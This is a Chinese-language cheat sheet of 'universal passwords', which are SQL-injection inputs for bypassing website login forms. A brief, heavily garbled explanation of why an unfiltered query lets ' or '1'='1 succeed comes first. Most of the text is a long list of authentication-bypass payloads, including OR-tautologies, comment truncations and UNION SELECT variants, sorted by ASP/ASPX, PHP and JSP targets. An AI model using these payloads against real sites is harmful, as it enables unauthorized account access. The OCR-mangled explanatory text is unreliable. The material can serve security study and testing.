万能密码总结

〖实验原理〗

用户进行用户名和巒码验证时，网站需要鱼间数啹。鱼间数啹就是执行SQL语匀。

针对此BBS论坛，当用户登录时后台执行的数据库0洵操作(SQL*）是[Selectuserid,user_type,emailFromusers

Whereuserid=用户名'Andpassword=密码'。

由于网站后台在进行数据库鱼词的时候没有对望引号进行过滤，当蝓入用户名(admin)和万能密码〔2'0了月时，执行的

SQL*"〖Selectuserid,user_type,emailFromusersWhereuserid='admin'Andpassword='艺0疒1'〗·同

时，由于SQL语旬中逻辑运算符具有优先级，〔=]优先于[and)

[and)优先于〖0刂，且适用传递性·因此，此

旬在后台解《斤时分成两匀[Selectuserid,usertype,emailFromusersWhereuserid='admin'And

password='2'〗和('1'〕，两匀b00|值进行逻辑or运篡，恒*TRI-JE.SQL语旬的畜洵适果为TRUE，意味着认证成功，也可以登录到系统中。

万能密码

' or 1='1

'or'='or'

admin

admin'--

admin' or 4=4--

admin' or '1'='1'--

admin888

"or "a"="a

admin' or 2=2#

a' having 1=1#

a' having 1=1--

admin' or '2'='2

')or('a'='a

or 4=4--

c

a'or' 4=4--

"or 4=4--

'or'a'='a

"or"="a'='a

'or''='

'or'='or'

1 or '1'='1'=1

1 or '1'='1' or 4=4

'OR 4=4%00

"or 4=4%00

'xor

admin' UNION Select 1,1,1 FROM admin Where ''='

1

-1%cf' union select 1,1,1 as password,1,1,1 %23

1

17..admin' or 'a'='a 密码随便

'or'='or'

'or 4=4/*

something

' OR '1'='1

1'or'1'='1

admin' OR 4=4/*

1'or'1'='1

asp aspx万能密码

1：”or “a”=”a

2： ‘)or(‘a’=’a

3：or 1=1–

4：’or 1=1–

5：a’or’ 1=1–

6：”or 1=1–

7：’or’a’=’a

8：”or”=”a’=’a

9：’or”=’

10：’or’=’or’

11: 1 or ‘1’=’1’=1

12: 1 or ‘1’=’1’ or 1=1

13: ‘OR 1=1%00

14: “or 1=1%00

15: ‘xor

16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ （替换表名admin）

密码 1

17…admin’ or ‘a’=’a 密码随便

PHP万能密码

‘or 1=1/*

User: something

Pass: ’ OR ‘1’=’1

jsp 万能密码

1’or’1’=’1

admin’ OR 1=1/*